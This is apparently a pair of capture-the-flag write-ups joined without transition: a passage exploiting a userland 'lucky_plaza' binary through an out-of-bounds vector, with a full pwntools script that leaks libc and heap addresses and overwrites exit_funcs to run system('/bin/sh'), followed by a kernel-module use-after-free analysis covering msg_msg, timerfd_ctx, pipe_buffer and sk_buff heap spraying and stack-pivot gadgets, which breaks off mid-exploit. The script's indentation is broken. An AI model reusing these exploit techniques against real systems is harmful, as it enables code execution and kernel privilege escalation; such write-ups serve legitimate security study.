Attack other chunks/tcache struct

At first, I thought this was a heap challenge and tried attacking fd ptr of other freed chunks. However, because of the nature of std::vector, it doesn’t free the chunk if size is reduced. So once the chunk is freed, since we don’t have any other access to the heap, we have no way to reclaim the chunk. This means a simple tcache poisoning won’t work.

Another idea was to attack the tcache struct, which is also found on the heap. We can see it looks something like this:

pwndbg> x/32gx 0x557e0b4e1000
0x557e0b4e1000: 0x0000000000000000      0x0000000000000291
0x557e0b4e1010: 0x0000000000000001      0x0000000000000000
0x557e0b4e1020: 0x0000000000000000      0x0000000000000000
0x557e0b4e1030: 0x0000000000000000      0x0000000000000000
0x557e0b4e1040: 0x0000000000000000      0x0000000000000000
0x557e0b4e1050: 0x0000000000000000      0x0000000000000000
0x557e0b4e1060: 0x0000000000000000      0x0000000000000000
0x557e0b4e1070: 0x0000000000000000      0x0000000000000000
0x557e0b4e1080: 0x0000000000000000      0x0000000000000000
0x557e0b4e1090: 0x0000557e0b4f36d0      0x0000000000000000
0x557e0b4e10a0: 0x0000000000000000      0x0000000000000000
0x557e0b4e10b0: 0x0000000000000000      0x0000000000000000
0x557e0b4e10c0: 0x0000000000000000      0x0000000000000000
0x557e0b4e10d0: 0x0000000000000000      0x0000000000000000
0x557e0b4e10e0: 0x0000000000000000      0x0000000000000000
0x557e0b4e10f0: 0x0000000000000000      0x0000000000000000

After locating the correct size and member in the struct, we technically can create a fake fd pointer, change the number of chunks in the tcache, and then allocate a chunk of the same size to get our arb write. However, I quickly realized it’s very hard to control this, especially if we want to do 2 writes (or 1 read + 1 write) for exit_funcs, because std::vector quickly grows into unsorted size (size doubles every time it reallocates). And also it will never shrink back to tcache size. Also, in order to leak libc from heap, we need a unsorted chunk to read the main_arena address. So the attack will become very limited and complicated. In theory it might be possible, but we need good heap control.

Cross-page OOB

Without any good targets on the heap, we need to use our OOB to attack stuff outside the heap. The most obvious target is libc, which lies after the heap (but is not adjacent). Because our size is now 0xffffffffffffffff, we basically have access to everything in memory, as long as we know the address so we can calculate the offset from the vector.

To get the lucky numbers for pop_back(), we can see that it’s seeded with time(0). So we can just write a script to generate the numbers at the same time as when we connect, and the numbers should be the same most of the time.

#include <iostream>
using namespace std;
 
int main() {
  srand(time(0));
  for (int i = 0; i < 100; i++) {
    cout << rand() % 0x88 << endl;
  }
}

Now, we need a heap and libc leak to calculate our OOB offset. As mentioned, we can leak libc from unsorted chunks! Also, std::string allocates a growing chunk as the string length increases, giving us access to unsorted. So we can allocate a big enough name and get our unsorted chunk already. For heap leak, it’s even easier - there are already freed tcache chunks in the heap, so just leak one of the fd pointers.

Then, we can just calculate the offset from ptr_guard and exit_funcs, and win :)

#!/usr/bin/env python3
 
from pwn import *
import time
import os
 
exe = ELF("./lucky_plaza")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")
 
context.binary = exe
 
numbers = [i.strip() for i in os.popen("./seed").readlines()]
# print(numbers)
 
if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
                # gdb.attach(p)
            pause()
    else:
        # p = remote("chal1.lagncra.sh", 8403)
    p = remote("localhost", 5000)
 
    # good luck pwning :)
    p.sendline(b"a"* 0x1000)
 
    def encrypt(pos, ptr):
            return (pos >> 12) ^ ptr
 
def decrypt(val):
        mask = 0xfff << 52
        while mask:
                v = val & mask
                val ^= (v >> 12)
        mask >>= 12
        return val
 
for i in range(2):
        p.sendline(b"4")
        p.sendline(numbers[i].encode())
 
    p.sendline(b"2")
p.sendline(b"2")
p.recvuntil(b"Lucky number 2: ")
leak = int(p.recvline())
print(hex(leak))
page_near_libc_base = leak - 0x306330
libc.address = page_near_libc_base + 0xeb000
print(hex(page_near_libc_base))
 
p.sendline(b"2")
p.sendline(b"3")
p.recvuntil(b"Lucky number 3: ")
leak = int(p.recvline())
print(hex(leak))
heap_base = leak - 0x13a90
print(hex(heap_base))
 
 
# leak ptr_guard
ptr_guard_address = int((page_near_libc_base + 0x33f0 - (heap_base + 0x13aa0)) / 8 + 1)
p.sendline(b"2")
p.sendline(str(ptr_guard_address).encode())
p.recvuntil(b"Lucky number")
p.recvuntil(b": ")
ptr_guard = int(p.recvline())
print(hex(ptr_guard))
 
rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
 
# modify exit_funcs
exit_funcs = int((page_near_libc_base + 0x306f18 - (heap_base + 0x13aa0)) / 8 + 1)
exit_funcs_arg_0 = int((page_near_libc_base + 0x306f20 - (heap_base + 0x13aa0)) / 8 + 1)
exit_funcs_arg_1 = int((page_near_libc_base + 0x306f28 - (heap_base + 0x13aa0)) / 8 + 1)
p.sendline(b"3")
p.sendline(str(exit_funcs).encode())
p.sendline(str(rol(libc.sym.system ^ ptr_guard, 0x11, 64)).encode())
 
p.sendline(b"3")
p.sendline(str(exit_funcs_arg_0).encode())
p.sendline(str(next(libc.search(b"/bin/sh\0"))).encode())
 
p.sendline(b"3")
p.sendline(str(exit_funcs_arg_1).encode())
p.sendline(b"0")
 
p.interactive()

DO_CREATE

case DO_CREATE: {           
    if (user_data.note_size > 100 || user_data.note_size == 0) {
        pr_info("A chemical explosion occurred. Oh no!\n");
        mutex_unlock(&chem_mutex);
        return -1;
    }
    
    chem = kmalloc(sizeof(struct chemical), GFP_KERNEL); 
    
    // Quantity
        chem->quantity = user_data.quantity;
    
    // CAS
        chem->cas = user_data.cas;
    
    // idx
        chem->idx = chemical_count; 
    chemical_count = chemical_count +1;
    
    // list_head
        list_add_tail(&chem->list, &chemical_head);
    
    // note_addr 
        chem->note_size = user_data.note_size; 
    note = kmalloc(user_data.note_size, GFP_KERNEL_ACCOUNT);
    memset(note, 0, user_data.note_size);
    chem->note_addr = (uint64_t) note;
    ret = copy_from_user(buf, (void __user *) user_data.note_addr, user_data.note_size-1);
    memcpy((void *) note, buf, user_data.note_size-1); 
    
    // name_addr 
        memset(buf, 0, sizeof(buf));
    ret = copy_from_user(buf, (void __user *) user_data.name_addr, 0xc8-1);
    memcpy((void *) chem->name, buf, 0xc8-1); 
    mutex_unlock(&chem_mutex);
    return 0;
}

Here, it’s quite a basic create function - it reads and allocates a chemical in kmalloc-256 page. The chemical is slotted into a doubly-linked list (maintained using kernel functions!) and there is a chemical_head struct for this purpose. The idx is used to keep track of the actual index of the chemical in the list and identify it.

About pages and slabs

A page is basically a mini-heap-cache for kernel, and there are hundreds of them in the kernel. Each page can physically store 16 chunks of the same size, and there can be multiple pages per size. There are empty pages (which will be unallocated by the kernel soon), partial pages (which have a mix of used and free chunks), and full pages (which have all chunks used and hence become inactive until a chunk in the page is freed).

A slab is a contiguous block of memory divided into pages. There are different slabs for different purposes, which the kernel uses in order to improve security (it has lots of space for these slabs anyway). For example, there is kmalloc-256 and kmalloc-cg-256, where chunks allocated with GFP_KERNEL_ACCOUNT are stored in cg, and normal chunks are stored in the general-purpose page type kmalloc-256. This provides even more separation between chunks used for different purposes. Lastly, the code path taken to allocate a chunk is also important, as it is used as a seed to determine which of the many kmalloc-256 pages to allocate to. So it’s quite confusing and unpredictable where our chunks will end up (other than knowing the type of cache).

(thx to Kaligula for correcting my misconception about buddy allocator freeing pages instead of slabs!)

With this, we see that the chemical struct should appear in kmalloc-256, while the note should appear in kmalloc-cg-256. This didn’t turn out to be terribly important for the final exploit, but I did try to exploit this later on.

A chemical has the following struct:

struct chemical { 
    char name[0xc8];
    uint64_t quantity;
    uint64_t cas;
    uint64_t idx;
    struct list_head list;
    uint64_t note_size; 
    uint64_t note_addr;
};

0xffff888100f8cd00:     0x0000000000000000      0x0000000000000000 -> name..
0xffff888100f8cd10:     0x0000000000000000      0x0000000000000000
0xffff888100f8cd20:     0x0000000000000000      0x0000000000000000
0xffff888100f8cd30:     0x0000000000000000      0x0000000000000000
0xffff888100f8cd40:     0x0000000000000000      0x0000000000000000
0xffff888100f8cd50:     0x0000000000000000      0x0000000000000000
0xffff888100f8cd60:     0x0000000000000000      0x0000000000000000
0xffff888100f8cd70:     0x0000000000000000      0x0000000000000000
0xffff888100f8cd80:     0x0000000000000000      0x0000000000000000
0xffff888100f8cd90:     0x0000000000000000      0x0000000000000000
0xffff888100f8cda0:     0x0000000000000000      0x0000000000000000
0xffff888100f8cdb0:     0x0000000000000000      0x0000000000000000
0xffff888100f8cdc0:     0x0000000000000000      0x00000000deadbeef -> ..name, quantity
0xffff888100f8cdd0:     0x00000000cafebabe      0x0000000000000000 -> cas, idx
0xffff888100f8cde0:     0xffffffffc0002640      0xffff888100f8cce0 -> fd, bk
0xffff888100f8cdf0:     0x0000000000000040      0xffff888100fb3540 -> note_size, note_addr

The code here is pretty secure, so let’s move on.

DO_READ and DO_DELETE

case DO_READ: {
    list_for_each(ptr, &chemical_head) {
        entry = list_entry(ptr, struct chemical, list);
        if (entry->idx == user_data.idx) {
            
            if (entry->note_size <= 100) {
                ret = copy_to_user((void __user *)user_data.note_addr, (void *) entry->note_addr, entry->note_size);
            }
            
            ret = copy_to_user((void __user *)user_data.name_addr, &entry->name, 0xc8-1);
            
            mutex_unlock(&chem_mutex);
            return 0;
        }
    }
    mutex_unlock(&chem_mutex);
    return 0;
    }
case DO_DELETE: {
    list_for_each(ptr, &chemical_head) {
        entry = list_entry(ptr, struct chemical, list);
        if (entry->idx == user_data.idx) {
            list_del(&entry->list); 
            kfree((void *) entry->note_addr);
            entry->note_addr = 0; 
            kfree(entry);
            pr_info("Deleted chemical at index %lld\n", user_data.idx);
            mutex_unlock(&chem_mutex);
            return 0;
        }
    }
    mutex_unlock(&chem_mutex);
    return 0;
    }

Let’s look at both DO_READ and DO_DELETE since they’re quite short and similar.

In DO_READ, we iterate through the list, looking for the chemical with the supplied idx. Once found, it returns the note and name.

In DO_DELETE, we do the same and once found, we remove it from the linked list, then free both the chemical and its note. Check are done in list_del to make sure our linked list is valid.

DO_REPLACE

Now, for the most interesting and complicated function - DO_REPLACE.

case DO_REPLACE: {
    if (user_data.note_size == 0) {
        pr_info("A chemical explosion occurred. Oh no!\n");
        mutex_unlock(&chem_mutex);
        return -1;
    }
    
    list_for_each(ptr, &chemical_head) {
        entry = list_entry(ptr, struct chemical, list);
        if (entry->idx == user_data.idx) {
            kfree((void *) entry->note_addr);
        
            list_del(&entry->list); 
            kfree(entry);
            pr_info("Replacing chemical at index %lld\n", user_data.idx);
            
            chem = kzalloc(sizeof(struct chemical), GFP_KERNEL); 
            chem->quantity = user_data.quantity;
            chem->cas = user_data.cas;
            chem->idx = user_data.idx; 
            list_add_tail(&chem->list, &chemical_head); 
            
            // New note
            note = kmalloc(user_data.note_size, GFP_KERNEL_ACCOUNT); 
            if (note == NULL) {
                kfree(chem); 
                pr_info("A chemical explosion occurred. Oh no!\n");
                mutex_unlock(&chem_mutex);
                return -1;
            }
            if (user_data.note_size > 100) { 
                chem->note_size = 100;
            } else {
                chem->note_size = user_data.note_size; 
            }
            memset(note, 0, chem->note_size);
            chem->note_addr = (uint64_t) note;
            ret = copy_from_user(buf, (void __user *) user_data.note_addr, user_data.note_size-1);
            memcpy((void *) note, buf, user_data.note_size-1); 
            
            // name_addr 
            memset(buf, 0, sizeof(buf));
            ret = copy_from_user(buf, (void __user *) user_data.name_addr, 0xc8-1);
            memcpy((void *) chem->name, buf, 0xc8-1); 
            mutex_unlock(&chem_mutex);
            return 0;
        }
    }
    mutex_unlock(&chem_mutex);
    return 0;
}

We can’t directly update a chemical. Instead, we can free it and allocate a new one in place (only in terms of idx, in the linked list we are appending to tail). We then continue to allocate the new note and read in the input for note and name. The vulnerability here is that chem is added to the list before the check for note == NULL, giving us UAF if kmalloc(note_size) fails! After some playing around, I found out that kmalloc(0xffffffffffffffff) will fail (of course, since there’s no space to allocate that big a chunk).

Once I found the UAF I thought the rest would be trivial. How wrong I was…

msg_msg

This struct can be initialized like this:

msg_queue = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
msgsnd(msg_queue, &buf, sizeof(buf) - sizeof(long), 0);

And it can be freed like this:

msgrcv(msg_queue, &buf, sizeof(buf) - sizeof(long), mtype, 0);

msg_msg is allocated in this function:

static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;
 
	alen = min(len, DATALEN_MSG);
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	if (msg == NULL)
		return NULL;
    // ...
}

As we can see, msg_msg is allocated using GFP_KERNEL_ACCOUNT, which means it’s going into the kmalloc-cg-256 cache.

We can also allocate multiple different-size msg_msg in the same queue (which will be linked via a double-linked list in m_list), and free in any order by specifying mtype.

The structure of msg_msg is

/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

So the first 0x30 bytes are struct metadata, and the following is our buffer input. This struct thus has variable size, which just needs to be greater than 0x30. However, the struct as we remember is in a different cache, since our chemicals are in kmalloc-256, while this can only be in kmalloc-cg-256. This means that (for now) we can’t use this struct to replace our UAF object. Let’s look at timerfd_ctx instead.

timerfd_ctx

This struct can be initialized like this:

struct itimerspec its;
timer_fd = timerfd_create(CLOCK_REALTIME, 0);
its.it_value.tv_sec = 1;
its.it_value.tv_nsec = 0;
its.it_interval.tv_sec = 1;
its.it_interval.tv_nsec = 0;
timerfd_settime(timer_fd, 0, &its, NULL);

And it will be freed a short while after closing timer_fd.

The struct is allocated as such:

SYSCALL_DEFINE2(timerfd_create, int, clockid, int, flags)
{
	int ufd;
	struct timerfd_ctx *ctx;
 
	/* Check the TFD_* constants for consistency.  */
    // ...
	if ((clockid == CLOCK_REALTIME_ALARM ||
	     clockid == CLOCK_BOOTTIME_ALARM) &&
	    !capable(CAP_WAKE_ALARM))
		return -EPERM;
 
	ctx = kzalloc(sizeof(*ctx), GFP_KERNEL);
	if (!ctx)
		return -ENOMEM;
    // ...
}

We see here that it’s allocated with GFP_KERNEL. This means it’s in kmalloc-256, the same cache as chemical!

The struct is as follows:

struct timerfd_ctx {
	union {
		struct hrtimer tmr;
		struct alarm alarm;
	} t;
	ktime_t tintv;
	ktime_t moffs;
	wait_queue_head_t wqh;
	u64 ticks;
	int clockid;
	short unsigned expired;
	short unsigned settime_flags;	/* to show in fdinfo */
	struct rcu_head rcu;
	struct list_head clist;
	spinlock_t cancel_lock;
	bool might_cancel;
};
 
struct hrtimer {
	struct timerqueue_node		node;
	ktime_t				_softexpires;
	enum hrtimer_restart		(*function)(struct hrtimer *);
	struct hrtimer_clock_base	*base;
	u8				state;
	u8				is_rel;
	u8				is_soft;
	u8				is_hard;
};
 
struct timerqueue_node {
	struct rb_node node;
	ktime_t expires;
};
 
struct rb_node {
	unsigned long  __rb_parent_color;
	struct rb_node *rb_right;
	struct rb_node *rb_left;
};
 
struct alarm {
	struct timerqueue_node	node;
	struct hrtimer		timer;
	enum alarmtimer_restart	(*function)(struct alarm *, ktime_t now);
	enum alarmtimer_type	type;
	int			state;
	void			*data;
};

Because of the union, alarm and hrtimer are mutually exclusive during the lifetime of this struct, so only 1 can exist at a time. I believe when first intialized, the struct is using alarm, but I can’t decipher the actual struct at all. Here’s what it looks like in memory:

gef> x/32gx 0xffff888101dbde00
0xffff888101dbde00:     0xffff888101dbd400      0xffff888101dbd300
0xffff888101dbde10:     0xffff888100e63d28      0x000000027d06f6cc
0xffff888101dbde20:     0x000000027d06f6cc      0xffffffff81285cc0
0xffff888101dbde30:     0xffff88813bc1e240      0x0000000000000001
0xffff888101dbde40:     0x0000000000000000      0x0000000000000000
0xffff888101dbde50:     0x0000000000000000      0x0000000000000000
0xffff888101dbde60:     0x0000000000000000      0x0000000000000000
0xffff888101dbde70:     0x0000000000000000      0x000000003b9aca00
0xffff888101dbde80:     0x17c09f6bff3a44e6      0x0000000000000000
0xffff888101dbde90:     0xffff888101dbde90      0xffff888101dbde90
0xffff888101dbdea0:     0x0000000000000000      0x0000000000000000
0xffff888101dbdeb0:     0x0000000000000000      0x0000000000000000
0xffff888101dbdec0:     0x0000000000000000      0x0000000000000000
0xffff888101dbded0:     0x0000000000000000      0x0000000000000000
0xffff888101dbdee0:     0x0000000000000000      0x0000000000000000
0xffff888101dbdef0:     0x0000000000000000      0x0000000000000000

Anyway, without fully understanding the struct, we still can see that we can leak kbase from the function pointer at +0x18, which is pretty useful. When we free the object, we get something like this:

gef> x/32gx 0xffff888101dbde00
0xffff888101dbde00:     0xffff888101dbde00      0xffff888101dbd800
0xffff888101dbde10:     0xffff888100e63d28      0x000000027d06f6cc
0xffff888101dbde20:     0x000000027d06f6cc      0xffffffff81285cc0
0xffff888101dbde30:     0xffff88813bc1e240      0x0000000000000001
0xffff888101dbde40:     0x0000000000000000      0x0000000000000000
0xffff888101dbde50:     0x0000000000000000      0x0000000000000000
0xffff888101dbde60:     0x0000000000000000      0x0000000000000000
0xffff888101dbde70:     0x0000000000000000      0x000000003b9aca00
0xffff888101dbde80:     0x17c09f6bff3a44e6      0x0000000000000000
0xffff888101dbde90:     0xffff888101dbde90      0xffff888101dbde90
0xffff888101dbdea0:     0x0000000000000000      0x0000000000000000
0xffff888101dbdeb0:     0x0000000000000000      0x0000000000000000
0xffff888101dbdec0:     0x0000000000000000      0x0000000000000000
0xffff888101dbded0:     0x0000000000000000      0x0000000000000000
0xffff888101dbdee0:     0x0000000000000000      0x0000000000000000
0xffff888101dbdef0:     0x0000000000000000      0x0000000000000000

We can see that +0x00 now points to itself, which is an excellent kheap leak to determine the address of the timerfd_ctx object! (why it does this, I have no idea)

So if timerfd_ctx overlaps UAF object and is freed, we can achieve the following from DO_READ:

1. kbase leak
2. kheap leak in kmalloc-256

Pretty useful!

I think if we had some way to edit chemical, we could have ended here after re-allocating the timerfd_ctx, as +0x18 holds a function pointer which will be called when the timer expires, and we can simply edit the chemical to change this pointer. However, since we can’t, we need to explore further.

Leaking more msg_msg

Recall that msg_msg had the fd and bk pointers as well? These are used to point to the next and prev msg_msg in the same queue, implementing the doubly-linked list. These are ordered by time of creation, so if I create 2 msg_msg like this:

int queue = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
msgsnd(queue, &buf1, sizeof(buf1) - sizeof(long), 0); // msg_msg_1
msgsnd(queue, &buf2, sizeof(buf2) - sizeof(long), 0); // msg_msg_2

We can see that the msg_msg with buf1 will have msg_msg.fd pointing to the msg_msg with buf2, and vice versa with msg_msg_2.bk pointing to msg_msg_1. This is a very useful property when combined with our leak from chemical.name, as it allows us to leak the address of the previous and next msg_msg in the queue.

Now, we can use msg_msg.fd to leak subsequent msg_msg structs and “cascade” down the msg_msg linked list, fixing the fake chemical linked list as we go along.

Basically, after spraying kmalloc-cg-256 to cover UAF object, we spray another round of msg_msg_2 in kmalloc-cg-512 over the same queues. For each queue, msg_msg_1.fd will now point to the new msg_msg_2 in kmalloc-cg-512. By leaking this pointer, we have a reference pointer to where our next fake chemical can be. Knowing the idx of the specific queue containing our UAF object, we can re-populate the fields of the UAF chemical, by doing msgrcv on that particular queue and freeing msg_msg_1 in kmalloc-cg-256, then spraying a new msg_msg_1_fixed on kmalloc-cg-256, reclaiming the original msg_msg_1 address. (note the need to spray, as during the process of allocating, cache randomization may change the cache we’re allocating in) Eventually, msg_msg_1_fixed will overlap with the UAF object again, fixing the chemical in-place.

But what should we update in msg_msg_1_fixed? We must make chemical.fd point to the next fake chemical at the leaked address. This way, the chemical linked list will consist of 1 completely valid (in terms of linked list) chemical which is our UAF object. While the 2nd chemical is not yet valid, we can DO_READ on it now, giving us another leak which we can use, allowing us to repeat the above steps to fix itself and point to the 3rd object, and so on.

This is what it’s gonna look like after fixing, for now:

Why use different chunk sizes for each msg_msg? It’s a lot easier to pinpoint an address when spraying a size won’t accidentally overwrite my known pointer. Also, it doesn’t actually matter where fulfill.fd points to, cos our program will never actually check that in the subsequent exploit.

We now have a good linked list! Attacker chunk can be freed, which will link UAF object and fulfill chunk, without severely messing up the linked list or failing any checks. But we still haven’t decided what chem.note_addr should be!

tty_struct

I found lots of resources on how to exploit tty_struct for RIP control. Below is the struct layout:

struct tty_struct {
	struct kref kref;
	int index;
	struct device *dev;
	struct tty_driver *driver;
	struct tty_port *port;
	const struct tty_operations *ops;
 
    // ...
} __randomize_layout

(bruh why is there __randomize_layout, doesn’t that mess up the ordering of the struct??)

As we can see, our target is tty_struct.ops, which we need to craft a fake vtable for.

struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	ssize_t (*write)(struct tty_struct *tty, const u8 *buf, size_t count);
	int  (*put_char)(struct tty_struct *tty, u8 ch);
	void (*flush_chars)(struct tty_struct *tty);
	unsigned int (*write_room)(struct tty_struct *tty);
	unsigned int (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
	long (*compat_ioctl)(struct tty_struct *tty,
			     unsigned int cmd, unsigned long arg);
    // ...
} __randomize_layout;

I didn’t actually write an exploit for this, but at first glance it seems possible. In my exploit, I targeted pipe_buffer for RIP control instead.

(edit: Kaligula mentioned that tty_struct is allocated using GFP_KERNEL, so it’s actually not possible)

pipe_buffer

struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};
 
struct pipe_buf_operations {
	int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
	void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
	bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
	bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

This struct is a lot simpler and smaller.

And we can see it being allocated here:

struct pipe_inode_info *alloc_pipe_info(void)
{
	struct pipe_inode_info *pipe;
	unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
	struct user_struct *user = get_current_user();
	unsigned long user_bufs;
	unsigned int max_size = READ_ONCE(pipe_max_size);
 
	pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
	if (pipe == NULL)
		goto out_free_uid;
 
	if (pipe_bufs * PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))
		pipe_bufs = max_size >> PAGE_SHIFT;
 
	user_bufs = account_pipe_buffers(user, 0, pipe_bufs);
 
	if (too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {
		user_bufs = account_pipe_buffers(user, pipe_bufs, PIPE_MIN_DEF_BUFFERS);
		pipe_bufs = PIPE_MIN_DEF_BUFFERS;
	}
 
	if (too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())
		goto out_revert_acct;
 
	pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
			     GFP_KERNEL_ACCOUNT);
    // ...
}

We see that it’s allocated with GFP_KERNEL_ACCOUNT. For some reason, the size is 1k despite the small size of the struct, but anyway this means the cache page is kmalloc-cg-1k. So, we should try and pivot our UAF to this cache page.

But how to leak this struct’s address after allocation? This is where msg_msg comes into play again. Right now, we’ve used up cg_256_msg_msg.fd and cg_512_msg_msg.fd to obtain addresses for the chemical linked list. However, we actually haven’t used either cg_256_msg_msg.bk or cg_1k_msg_msg.fd. First things first, to separate our 3rd fake chemical (which uses kmalloc-cg-1k already) from our target struct, we should change the 3rd chemical’s cache to kmalloc-cg-2k to avoid any potential overlap. Then, we can spray kmalloc-cg-1k with msg_msg before the spray for kmalloc-cg-256, such that cg_256_msg_msg.bk will point to kmalloc-cg-1k, thus giving us our leak. Then, we can fix the attacker chemical with the leaked address at note_addr. Lastly, we spray pipe_buf on kmalloc-cg-1k, allowing us to reclaim the address we leaked.

So this is our new linked list:

When attacker is freed, it will also free the pipe_buf object, which we can then reallocate with some other struct, possibly overwriting pipe_buffer.ops with a fake vtable address.

msg_msg again

Here are the structs of msg_msg and pipe_buf in memory:

msg_msg

0xffff888103b06800      0xffff88810279c400 -> fd, bk
0x0000000000000256      0x00000000000000d0 -> mtype, m_textsize
0x0000000000000000      0xffff888101d26dc8 -> next, security
0x0000000000001218      0x0000000000000000 -> user input starts here
0x0000000000000000      0x0000000000000000
0x0000000000422245      0x0000000000000000
0x00000000004ab7a0      0x0000000000000290
0x0000000000414470      0x00000000016e2d00
0x0000000000000300      0x0000000000000000
0x0000000000000000      0x0000000000021000
0x0000000000000000      0x0000000000000000
0x0000000000000290      0x0000000000000027
0x0000000000000280      0x0000000000000256
0x0000000000000256      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000

pipe_buf

0x0000000000000000      0x0000000000000000 -> page, offset+len
0x0000000000000000      0x0000000000000000 -> ops, flags+private
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000

(no idea why all the fields for pipe_buf are left as nulled after the kcalloc() - shouldn’t some fields be initialized? maybe i need to trigger some operations to setup fields…)

Anyway, we see that pipe_buf.ops actually aligns nicely with msg_msg.mtype. Since we can control mtype, can’t we use this to control pipe_buf.ops and win?

Unfortunately, not quite for 2 reasons. Firstly, when I tried to trigger the RIP control by releasing the pipe_buf, it seems that it sees the other fields in msg_msg like msg_msg.fd, msg_msg.bk and so on, and tries to free them, before calling pipe_buf.ops->release. I don’t exactly know where this code is, but what seems to happen is it attempts to read and store the address to release somewhere without calling it, then does a few frees which crashes the kernel due to detected double free, before release is actually called. Secondly, even if the initial exploit worked, for our ROP chain later, because of gadget constraints, our stack will end up pointing to top of pipe_buf object (msg_msg.fd), which we have no control over. Then the ROP chain will crash because msg_msg.fd is not pointing to a valid instruction address.

chemical.note

At this point, I turned back to the chemical note and how it’s stored using GFP_KERNEL_ACCOUNT, making it appear in cg cache. I have complete control over the entire note as well! Isn’t this exactly what I want? So I went down this path for a while too.

However, it turns out I neglected to consider that the max size of a note is 100, as seen in DO_CREATE. So we can’t actually create a note in kmalloc-cg-1k.

sk_buff

After researching more, I realize that sk_buff (or more precisely, sk_buff.head) is very commonly used to attack pipe_buf because of its unique structure. Here’s what it looks like:

struct sk_buff {
    /* unimportant headers ... */
    /* ... */
	/* end headers group */
 
	/* These elements must be at the end, see alloc_skb() for details.  */
	sk_buff_data_t		tail;
	sk_buff_data_t		end;
	unsigned char		*head,
				*data;
	unsigned int		truesize;
	refcount_t		users;
 
#ifdef CONFIG_SKB_EXTENSIONS
	/* only useable after checking ->active_extensions != 0 */
	struct skb_ext		*extensions;
#endif
};
 
/*
 * &sk_buff.head points to the main "head" buffer. The head buffer is divided
 * into two parts:
 *
 *  - data buffer, containing headers and sometimes payload;
 *    this is the part of the skb operated on by the common helpers
 *    such as skb_put() or skb_pull();
 *  - shared info (struct skb_shared_info) which holds an array of pointers
 *    to read-only data in the (page, offset, length) format.
 */

I couldn’t find the allocate code for sk_buff.head, but it is allocated in kmalloc-cg-1k as well. The unique thing about this struct is that the user input actually appears at the top of the struct, while metadata is found at the bottom. This is really useful for our pipe_buf overwrite, since pipe_buf metadata is found at the top of its struct, so we can overwrite the metadata of pipe_buf easily!

To initialize an sk_buff and write data to head:

char payload[1024 - 320];
int sk_socket[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket);
write(sk_socket[0], payload, sizeof(payload));

Now, we can spray and allocate sk_buff.head over pipe_buf, overwriting pipe_buf.ops to our desired vtable. We can put the fake vtable inside sk_buff.head as well, since we already know its address from kmalloc-cg-1k kheap leak.

Stack pivot 1

Let’s find a good stack pivot gadget first. Gadgets that end with ret are not suitable, because our stack isn’t setup yet, so we can’t ROP properly. call or jmp on a register we control like rsi are the best.

0xffffffff81556dc6 : push rsi ; jmp qword ptr [rsi + 0x39]
0xffffffff81602195 : push rsi ; jmp qword ptr [rsi - 0x7d]
0xffffffff81602d23 : push rsi ; jmp qword ptr [rsi - 0x7f]

There are actually a lot more suitable gadgets, but these are the most straightforward. [rsi + 0x39] is under our control, so we can put a second gadget there. The point of push rsi is to put a pointer we control at the top of the original stack, so our second gadget can simply be pop rsp which will change rsp to the saved value of rsi, and complete the stack pivot.

0xffffffff81135dff : pop rsp ; ret

Stack pivot 2

Let’s take a step back and look at our current sk_buff/pipe_buf object:

gef> x/200gx 0xffff8881026ca400
0xffff8881026ca400:     0x0000000000000000      0x0000000000000000
0xffff8881026ca410:     0xffff8881026ca690      0x0000000000000000
0xffff8881026ca420:     0x0000000000000000      0x0000000000000000
0xffff8881026ca430:     0x0000000000000000      0xffffff81135dff00 // +0x39
0xffff8881026ca440:     0x00000000000000ff      0x0000000000000000
...
0xffff8881026ca690:     0x0000000000000000      0xffffffff81556dc6 // +0x290
0xffff8881026ca6a0:     0x0000000000000000      0x0000000000000000

